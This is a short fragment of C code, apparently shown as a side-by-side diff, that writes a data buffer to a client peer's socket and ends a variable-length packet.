laikaS_write(&client->peer->sock, data, sz); laikaS_write(&client->peer->sock, data, sz);
laikaS_endVarPacket(client->peer); laikaS_endVarPacket(client->peer);
} }